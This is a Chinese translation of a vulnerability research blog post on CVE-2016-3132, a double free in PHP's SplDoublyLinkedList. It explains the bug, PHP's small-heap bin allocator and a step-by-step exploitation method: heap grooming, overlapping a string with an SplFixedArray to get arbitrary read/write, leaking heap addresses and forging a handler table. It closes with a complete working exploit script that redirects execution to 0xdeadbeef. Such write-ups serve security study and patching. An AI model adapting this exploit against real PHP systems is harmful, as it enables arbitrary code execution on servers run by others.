技术文章翻译:PHP标准库中某双链表结构存在双重释放问题(CVE-2016-3132)
原文: http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist
原作者:Emmanuel Law
引子
最近在PHP标准库中(Standard PHP Library, SPL)发现了一个双重释放漏洞。在写exp的时候,找了找PHP内部对堆的管理方式,但是没找到太多。这篇博客旨在和大家分析一些如何在PHP下利用Double free的人生经验。
根源分析
问题函数是SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )
,当传递一个无效的参数时,即可触发漏洞。例如:
<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime 会被释放两次
来看一下细节。当一个无效的下标传入的时候,在第833行,DateTiem对象被第一次释放:
832 if (index < 0 || index >= intern->llist->count) {
833 zval_ptr_dtor(value);
834 zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
835 return;
836 }
另外一个释放点在Zend/zend_vm_execute.h:855
,在清理调用栈时,有:
EG(current_execute_data) = call->prev_execute_data;
zend_vm_stack_free_args(call);
PHP内部的堆管理
在PHP内部,当调用像ealloc()
的函数分配内存的时候,根据请求大小的不同,分为三类:
- 小于3072字节的小堆块分配(Small heap alloction)
- 小于2MiB的大堆块分配(Large heap alloction)
- 大于2MiB的巨堆块分配(Huge heap alloction)
为了利用这个洞,需要看一下小堆块的分配和释放流程。小堆块的分配流程,会把每个内存块根据其大小分入不同的桶(Bin)中,如:
- 1#桶,包含1~8byte的块
- 2#桶,包含9~16byte的块
- 3#桶,包含17~24byte的块
- 以此类推
而PHP内部用efree()
之类的函数释放内存的时候,如果内存块被小堆块分配器处理的话,内存不会被返回给系统,而是被缓存下来,并放在合适的Bin中。这个Bin是个单链表,把该Bin中的所有块连在一起。每个块的前几个字节是该块的头部,含有指向下一个块的指针。如图所示。
(译者注:为什么这么像ptmalloc的fastalloc啊,到底是做了多少次了啊)
具体的利用方法
- Step 0: 先看看这个对象看看能不能打。这个洞是因为,引擎试图把一个对象插入到一个无效的SplDoublyLinkedList下标中。一般会引发这样的错误:
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range
(致命错误:未捕获的溢出异常:偏移值无效或超限)
发生了这种错误后,PHP会立刻退出,这样,在Double Free后,我们无法在用户空间运行任何程序了。因此,为了调这个漏洞,我们需要卡住这个错误,然后让PHP在双重释放后不立刻退出。用set_exception_handler()
就可以搞定。
-
Step 1: 选择一个合适的对象进行溢出。我选择了
SplFixedArray
,因为:- 大小合适,不会走入其他的内存管理流程中。
- 大小不怎么常见,因此不会被影响太多。本例中,
sizeof(SplFixedArray)==0x78
,会被放入12号筐中。 SplFixedArray
内部是一个结构体,在特定位置有一个成员,可以被利用。下面我会对此进行详细说明。
-
Step 2: 我们要先“调教”一下堆。先做一些清理操作,释放Bin里所有会影响我们的块。我们可以通过分配一堆实例的方法来搞,这样也能让我们得到的内存地址比较接近:
for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}
unset($z[50]);
我们分配然后释放了第50个SplFixedArray
。这样,在这片内存里就制造了一个空洞,如下图:
然后立刻实例化一个SplFixedArray
,这个对象正好会被放到那个空洞里。然后触发:
<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new SplFixedArray);
这些操作都是为了我能拿到一个可控的内存结构,并保证双重释放也发生在这个地方。在第一个free之后,内存布局如下:
第二次free后,如下:
- Step 3: 然后我们看看怎么拿到控制权。注意,只有一个堆块是空的,但是在链表里有两个指针指向同一块空内存。这是因为现在这块堆已经乱了,PHP认为有两个空块。那么,我们可以在12号bin中分配两个空块,他们会占用同一块内存空间:
<?php
$s=str_repeat('C',0x48);
$t=new mySpecialSplFixedArray(5);
class mySpecialSplFixedArray extends SplFixedArray{
public function offsetUnset($offset) {
parent::offsetUnset($offset);
}
}
这里我们分配了一个字符串(第二行),和一个mySpecialSplFixedArray
(第三行),他们占用了同一个地点,也就是原来的第50个SplFixedArray
。
第三行那里,mySpecialSplFixedArray
继承了SplFixedArray
,但是复写了offsetUnset
方法。看一下PHP中String
和SplFixedArray
的结构:
- 第一次用$s=str_repeat('C',0x48)
分配字符串的时候,zend_string.len
的值是0x48
- 然后,如果分配一个SplFixArray()
,由于fptr_offset_set
默认值为0,且其和之前的String
占有一块内存,因此zend_string.len
被改为0。
- 但是,我们覆写了offsetUnset()
,因此fptr_offset_set
会含有内存中某个用户定义函数的地址,这个地址肯定比0x48大。同样的,zend_string.len
也会被覆盖为这个函数地址。那么PHP认为我们有一个很大很大的字符串。
- Step 4: 拿到控制流。现在,PHP认为:
-
$s
是一个很大的字符串,那么我们可以任意读写了。 -
$t
是mySpecialSplFixedArray
对象,和$s
占同一个地方。如果我们要执行
0xdeadbeef
处的代码,那么我们需要:- 伪造一个结构体,其析构器指针指向
0xdeadbeef
- 覆写
mySpecialSplFixedArray
的指针,使其指向那个假的结构体 unset(mySpecialSplFixedArray)
,实际是析构了我们伪造好的结构体,那么代码肯定执行了。
第一步比较好搞,利用刚才的读写工具
$s
就可以了。第二个也不难。而问题是,伪造假的Handler
结构时,我们并不知道假结构的具体地址,那么就比较尴尬了。解决方法是,释放第51和52个
SplFixArray
:这样,第51个
SplFixArray
的前8个字节就指向了第52个SplFixArray
。我们可以用之前的$s
搞信息泄露了。 - 伪造一个结构体,其析构器指针指向
-
下面是完整的利用代码:
<?php
// ####### HELPER Function ##############
function read_ptr(&$mystring,$index=0,$little_endian=1){
return hexdec(dechex(ord($mystring[$index+7])) .dechex(ord($mystring[$index+6])) . dechex(ord($mystring[$index+5])).dechex(ord($mystring[$index+4])).dechex(ord($mystring[$index+3])).dechex(ord($mystring[$index+2])). dechex(ord($mystring[$index+1])).dechex(ord($mystring[$index+0])));
}
function write_ptr(&$mystring,$value,$index=0,$little_endian=1){
//$value=dechex($value);
$mystring[$index]=chr($value&0xFF);
$mystring[$index+1]=chr(($value>>8)&0xFF);
$mystring[$index+2]=chr(($value>>16)&0xFF);
$mystring[$index+3]=chr(($value>>24)&0xFF);
$mystring[$index+4]=chr(($value>>32)&0xFF);
$mystring[$index+5]=chr(($value>>40)&0xFF);
$mystring[$index+6]=chr(($value>>48)&0xFF);
$mystring[$index+7]=chr(($value>>56)&0xFF);
}
// ####### Exploit Start #######
class SplFixedArray2 extends SplFixedArray{
public function offsetSet($offset, $value) {}
public function Count() {echo "!!!!######!#!#!#COUNT##!#!#!#!#";}
public function offsetUnset($offset) {
parent::offsetUnset($offset);
}
}
function exception_handler($exception) {
global $z;
$s=str_repeat('C',0x48);
$t=new SplFixedArray2(5);
$t[0]='Z';
unset($z[22]);
unset($z[21]);
$heap_addr=read_ptr($s,0x58);
print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n";
$heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
//Set Handlers
write_ptr($s,$heap_addr_of_fake_handler,0x40);
//Set fake handler
write_ptr($s,0x40,0x300); //handler.offset
write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
str_repeat('z',5);
unset($t); //BOOM!
}
set_exception_handler('exception_handler');
$var_1=new SplStack();
$z=array();
//Heap management
for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}
unset($z[20]);
$var_1->offsetSet(0,new SplFixedArray);